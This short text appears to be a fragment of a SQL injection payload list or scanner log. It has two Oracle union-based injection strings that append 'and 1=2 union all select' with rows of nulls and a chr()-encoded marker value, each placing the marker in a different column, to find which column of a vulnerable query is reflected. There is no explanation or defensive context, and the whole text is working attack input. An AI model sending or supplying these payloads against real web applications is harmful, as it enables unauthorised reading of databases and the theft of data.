s and 1=2 union all select null,null,null,null,null,null,null,null,chr(57)||chr(54)||chr(57)||chr(56)||chr(56),null,null,null,null,null,null,null,null from dual--
s and 1=2 union all select null,null,null,null,null,null,null,null,null,chr(57)||chr(54)||chr(57)||chr(56)||chr(56),null,null,null,null,null,null,null from dual--